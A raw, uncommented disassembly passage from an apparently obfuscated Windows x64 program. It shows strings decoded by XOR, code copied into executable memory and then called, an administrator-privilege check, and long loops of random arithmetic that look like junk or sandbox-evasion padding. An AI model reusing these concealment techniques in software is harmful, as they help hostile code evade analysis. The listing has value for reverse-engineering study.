punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140010260
jmp 0x140010484
lea r10, [rsp + 0x640]
xor r9d, r9d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x10
jl 0x140010430
lea rax, [rsp + 0x640]
mov qword [rsp + 0x5e0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x12a0], xmm0
mov qword [rsp + 0x12b0], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x12a0]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002eaa0]
lea rsi, [0x140017c20]
test rax, rax
je 0x1400104ff
xor edx, edx
cmp rax, rsi
je 0x1400104ee
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2eaa0]
test rax, rax
jne 0x1400104d6
jmp 0x1400104ff
mov r8, qword [r13 + rdx*8 + 0x2d150]
test r8, r8
jne 0x1400105df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400105be
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010530
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002e110]
mov qword [r13 + rax*8 + 0x2eaa0], rsi
mov qword [r13 + rax*8 + 0x2d150], r8
inc rax
mov qword [0x14002e110], rax
lea rdx, [rsp + 0x5e0]
lea rcx, [fcn.140001a70]
call r8
nop
mov rcx, qword [rsp + 0x12a0]
xor rcx, qword [rsp + 0x12a8]
mov qword [rsp + 0x12a0], rcx
mov rax, qword [rsp + 0x12b0]
mov qword [rax], rcx
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xc40]
call fcn.140003920
nop
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0xb48]
mov rcx, rax
call fcn.140017810
nop
lea rdx, [rsp + 0xb48]
mov rcx, rbx
call fcn.140017e30
lea rdx, [0x140017e50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xb48]
call fcn.140016730
nop
lea rcx, [rsp + 0xc40]
call fcn.140002b30
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea r8, [0x140030738]
lea rdx, [rsp + 0x13a8]
lea rcx, [rsp + 0xd30]
call fcn.140017380
nop
mov rdx, rax
mov rcx, rbx
call fcn.140017e30
lea rdx, [0x140017e50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xd30]
call fcn.140016730
lea rdx, [rsp + 0x1420]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017e30
lea rdx, [0x140017e50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x8ec4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x7b40]
call fcn.140017140
mov dword [rsp + 0xee8], 0xffffff9c
mov dword [rsp + 0xeec], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x1070], xmm0
mov dword [rsp + 0x30], 0
xorps xmm6, xmm6
movsd qword [rsp + 0x38], xmm6
lea rcx, [rsp + 0x1350]
call fcn.140001ae0
mov qword [rsp + 0x5f0], 0x64
mov rax, qword [rsp + 0x1350]
mov qword [rsp + 0x5f8], rax
lea r8, [rsp + 0x5f0]
lea rdx, [rsp + 0x5f8]
lea rcx, [rsp + 0x9d0]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xfe0], xmm0
mov qword [rsp + 0xff0], rax
lea rcx, [rsp + 0xfe0]
call fcn.140016030
nop
lea rcx, [rsp + 0x600]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x308]
call fcn.140017580
nop
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x308]
call fcn.140016050
nop
lea rcx, [rsp + 0x600]
call fcn.140016050
lea rcx, [rsp + 0x608]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x310]
call fcn.140017580
nop
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x310]
call fcn.140016050
nop
lea rcx, [rsp + 0x608]
call fcn.140016050
lea rcx, [rsp + 0x610]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.140017580
nop
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x318]
call fcn.140016050
nop
lea rcx, [rsp + 0x610]
call fcn.140016050
lea rcx, [rsp + 0x618]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.140017580
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x320]
call fcn.140016050
nop
lea rcx, [rsp + 0x618]
call fcn.140016050
lea rcx, [rsp + 0x620]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x328]
call fcn.140017580
nop
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x328]
call fcn.140016050
nop
lea rcx, [rsp + 0x620]
call fcn.140016050
lea rcx, [rsp + 0x628]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.140017580
nop
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0xfe0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x330]
call fcn.140016050
nop
lea rcx, [rsp + 0x628]
call fcn.140016050
lea rcx, [rsp + 0x630]
call fcn.140001ae0
mov qword [rsp + 0x180], rdi
mov rax, qword [rax]
mov qword [rsp + 0xd8], rax
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xd8]
call fcn.140002910
test al, al
jns 0x140010e9b
mov r12d, 1
nop dword [rax + rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov rcx, qword [rsp + 0xfe8]
mov rsi, qword [rsp + 0xfe0]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1070]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1070]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1070]
call fcn.140017690
movsd xmm1, qword [0x1400253a8]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1070]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1590]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1590]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1198], xmm0
mov qword [rsp + 0x11a8], rax
lea rcx, [rsp + 0x1198]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1198]
call fcn.140018230
nop
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x1198]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x9d8]
lea rcx, [rsp + 0x1198]
call fcn.1400161d0
lea rcx, [rsp + 0xee8]
mov qword [rsp + 0x6c0], rcx
lea rcx, [rsp + 0x7b40]
mov qword [rsp + 0x6c8], rcx
lea r8, [rsp + 0x6c0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1198]
call fcn.140002860
lea rdx, [rsp + 0x9e0]
lea rcx, [rsp + 0x1198]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x9e8]
lea rcx, [rsp + 0x1198]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r12d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140010d11
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
test eax, eax
jne 0x140010d46
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010d55
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
nop word [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x7b40]
lea rcx, [rsp + 0x1070]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x7b40]
test bl, 1
jne 0x140010dfb
mov r9d, dword [rsp + 0xeec]
mov r8d, dword [rsp + 0xee8]
lea rcx, [rsp + 0xee8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010e1d
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x1070]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x140010d70
sub rsi, 1
jne 0x140010d60
lea rcx, [rsp + 0x1198]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1590]
call fcn.140016730
sub r14, 1
jne 0x1400109f0
lea rcx, [rsp + 0x630]
call fcn.140001ae0
mov qword [rsp + 0x180], rdi
mov rax, qword [rax]
mov qword [rsp + 0xd8], rax
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xd8]
call fcn.140002910
test al, al
js 0x1400109e0
xorps xmm6, xmm6
lea r12, [rsi - 1]
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xfe0]
call fcn.1400160c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x12b8], xmm0
mov qword [rsp + 0x12c8], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x12b8]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002dad0]
test rax, rax
je 0x140010f10
xor edx, edx
cmp rax, r15
je 0x140010eff
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2dad0]
test rax, rax
jne 0x140010ee7
jmp 0x140010f10
mov r8, qword [r13 + rdx*8 + 0x2fa70]
test r8, r8
jne 0x140010fef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140010fce
mov rax, r15
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010f40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400306f0]
mov qword [r13 + rax*8 + 0x2dad0], r15
mov qword [r13 + rax*8 + 0x2fa70], r8
inc rax
mov qword [0x1400306f0], rax
mov rcx, qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call r8
nop
mov rdx, qword [rsp + 0x12b8]
xor rdx, qword [rsp + 0x12c0]
mov qword [rsp + 0x12b8], rdx
mov rcx, qword [rsp + 0x12c8]
mov qword [rcx], rdx
test eax, eax
je 0x140014336
xor r8d, r8d
lea rdx, [0x140030718]
lea rcx, [rsp + 0x1420]
call fcn.140016530
cmp rax, 0xffffffffffffffff
je 0x140014336
lea rdx, [fcn.140001a70]
lea rcx, [rsp + 0x9f0]
call fcn.140015eb0
mov rbx, rax
lea rdx, [rsp + 0xaa8]
lea rcx, [rsp + 0x6d]
call fcn.140015010
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14001109c
xor byte [rax], 0x40
xor byte [rax + 1], 0x42
xor byte [rax + 2], 0x44
xor byte [rax + 3], 0x46
xor byte [rax + 4], 0x48
xor byte [rax + 5], 0x4a
xor byte [rax + 6], 0x4c
xor byte [rax + 7], 0x4e
xor cl, 0x50
mov byte [rax + 8], cl
mov qword [rsp + 0x638], rax
mov edx, 0x18
lea rcx, [rsp + 0x14b8]
call fcn.140002990
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x14b8]
call fcn.1400029a0
nop
xor r12d, r12d
mov ecx, r12d
mov rax, qword [0x14002eaa0]
lea r15, [0x140017c20]
test rax, rax
je 0x140011111
mov edx, r12d
cmp rax, r15
je 0x140011100
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2eaa0]
test rax, rax
jne 0x1400110e8
jmp 0x140011111
mov r8, qword [r13 + rdx*8 + 0x2d150]
test r8, r8
jne 0x1400111ff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011138
mov r8, r12
jmp 0x1400111de
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011150
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002e110]
mov qword [r13 + rax*8 + 0x2eaa0], r15
mov qword [r13 + rax*8 + 0x2d150], r8
inc rax
mov qword [0x14002e110], rax
lea rdx, [rsp + 0x638]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rsp + 0x14b8]
call fcn.1400029d0
nop
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x6e]
call fcn.140015040
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x14001124d
xor byte [rbx], 0x40
xor byte [rbx + 1], 0x42
xor byte [rbx + 2], 0x44
xor byte [rbx + 3], 0x46
xor al, 0x48
mov byte [rbx + 4], al
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x6f]
call fcn.140015030
mov rdi, rax
movzx eax, byte [rax + 1]
test al, al
je 0x140011272
xor byte [rdi], 0x40
xor al, 0x42
mov byte [rdi + 1], al
lea r8, [0x140030738]
lea rdx, [rsp + 0x13a8]
lea rcx, [rsp + 0xcc0]
call fcn.140017380
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xce0]
call fcn.140017320
nop
lea r8, [0x140030718]
mov rdx, rax
lea rcx, [rsp + 0xd00]
call fcn.1400173f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1400]
call fcn.140017320
nop
lea rcx, [rsp + 0xd00]
call fcn.140016730
nop
lea rcx, [rsp + 0xce0]
call fcn.140016730
nop
lea rcx, [rsp + 0xcc0]
call fcn.140016730
lea rcx, [rsp + 0xf31]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rsp + 0x8ed0]
call fcn.140016170
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rsp + 0xf28]
call fcn.1400162b0
movsd xmm15, qword [0x1400253b0]
movaps xmm2, xmm15
movsd xmm1, qword [0x1400253c8]
lea rcx, [rsp + 0x1110]
call fcn.140016160
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm6
lea rcx, [rsp + 0x1348]
call fcn.140001ae0
mov dword [rsp + 0x15c], 0x64
lea rdx, [rsp + 0x15c]
lea rcx, [rsp + 0x838]
call fcn.140017520
mov r8, rax
lea rdx, [rsp + 0x1348]
lea rcx, [rsp + 0x13a0]
call fcn.140017530
mov edx, 0x18
lea rcx, [rsp + 0xff8]
call fcn.140002990
lea rcx, [rsp + 0xff8]
call fcn.140016030
nop
lea rcx, [rsp + 0x650]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x338]
call fcn.140017580
nop
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x338]
call fcn.140016050
nop
lea rcx, [rsp + 0x650]
call fcn.140016050
lea rcx, [rsp + 0x658]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.140017580
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x340]
call fcn.140016050
nop
lea rcx, [rsp + 0x658]
call fcn.140016050
lea rcx, [rsp + 0x660]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x348]
call fcn.140017580
nop
lea rdx, [rsp + 0x348]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x348]
call fcn.140016050
nop
lea rcx, [rsp + 0x660]
call fcn.140016050
lea rcx, [rsp + 0x668]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.140017580
nop
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x350]
call fcn.140016050
nop
lea rcx, [rsp + 0x668]
call fcn.140016050
lea rcx, [rsp + 0x398]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x358]
call fcn.140017580
nop
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x358]
call fcn.140016050
nop
lea rcx, [rsp + 0x398]
call fcn.140016050
lea rcx, [rsp + 0x3a0]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.140017580
nop
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0xff8]
call fcn.140016090
nop
lea rcx, [rsp + 0x360]
call fcn.140016050
nop
lea rcx, [rsp + 0x3a0]
call fcn.140016050
nop
lea rcx, [rsp + 0xa10]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x13a0]
call fcn.140002930
xor edx, edx
movzx ecx, al
call fcn.140001ad0
test al, al
je 0x140011984
mov esi, r12d
cmp esi, 0x186a0
jge 0x1400115a0
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
movsxd rbx, eax
lea rcx, [rsp + 0xff8]
call fcn.140016080
mov rcx, rax
mov rax, rbx
xor edx, edx
div rcx
movsxd rdx, edx
lea rcx, [rsp + 0xff8]
call fcn.140016070
mov rcx, rax
call fcn.140015f20
mov rbx, rax
mov rcx, qword [rax]
mov rdi, qword [rcx + 8]
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1110]
call fcn.140017690
movaps xmm6, xmm0
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1110]
call fcn.140017690
movaps xmm1, xmm6
call fcn.1400027e0
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1110]
call fcn.140017690
movsd xmm6, qword [rsp + 0x38]
mov edx, 3
call fcn.140017710
subsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1110]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x14d0]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x14d0]
call fcn.140002750
mov edx, 0x18
lea rcx, [rsp + 0x1210]
call fcn.140002990
lea rcx, [rsp + 0x70]
call fcn.1400162a0
mov r8, rax
mov edx, 0x64
lea rcx, [rsp + 0x1210]
call fcn.140016240
nop
lea r8, [rsp + 0x8ed0]
lea rdx, [rsp + 0xf28]
lea rcx, [rsp + 0xd70]
call fcn.140002950
movups xmm6, xmmword [rax]
lea rdx, [rsp + 0xa18]
lea rcx, [rsp + 0x1210]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa20]
lea rcx, [rsp + 0x1210]
call fcn.1400161d0
movaps xmmword [rsp + 0x8d0], xmm6
lea r8, [rsp + 0x8d0]
mov rdx, rbx
